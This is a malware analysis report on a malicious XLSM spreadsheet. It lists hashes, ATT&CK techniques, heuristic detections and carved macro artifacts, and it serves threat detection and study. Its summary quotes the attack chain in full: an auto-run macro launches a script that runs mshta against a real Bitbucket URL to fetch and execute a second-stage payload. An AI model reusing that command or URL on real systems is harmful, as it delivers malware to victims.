Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 95adc0ed90d35a54…

MALICIOUS

Office (OOXML) / .XLSM

23.2 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-04-21
MD5: 27612451eba0f546e407402556b50e2d SHA-1: 4b125c8711409806203c8bb3c73fcc33a2c05b12 SHA-256: 95adc0ed90d35a54222bb5041e808a61da36ab37e6443d9205bf217aeb3bebf0
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is an XLSM file containing a Workbook_Open macro that executes a Wscript.Shell command. This command runs a JavaScript file located at C:\Users\Public\textfile.JS, which in turn executes 'mshta https://bitbucket.org/!api/2.0/snippets/hogya/oB5ep7/b64bf6befc66a06d996ee7a59c21f189412a165e/files/charles'. This indicates the macro is designed to download and execute a second-stage payload from the specified URL. The document body, while appearing as financial data, contains embedded obfuscated script elements that further support this malicious intent.

Heuristics 9

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • ClamAV: Xls.Trojan.Generic-9994593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Generic-9994593-0
  • ClamAV detection on extracted artifact critical EXTRACTED_FILE_CLAMAV
    ClamAV flagged at least one file extracted from inside this sample. Even when the wrapping document carries no AV detection of its own, a hit on the carved artifact is a strong indicator the sample is a delivery vehicle.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://bitbucket.org/!api/2.0/snippets/hogya/oB5ep7/b64bf6befc66a06d996ee7a59c21f189412a165e/files/charles

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
41a079f302469a7cad088ef88057e74da7df11923bb5bb2605fd6d143d93bb3c
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2546 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
vbaProject_00.bin
2bbd4da3dce721c926e24e7434390d2646efbf737c55599322a5c8d127f0148b
vba-project OOXML VBA project: xl/vbaProject.bin 34816 bytes
Detection
ClamAV: Xls.Trojan.Generic-9994593-0
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.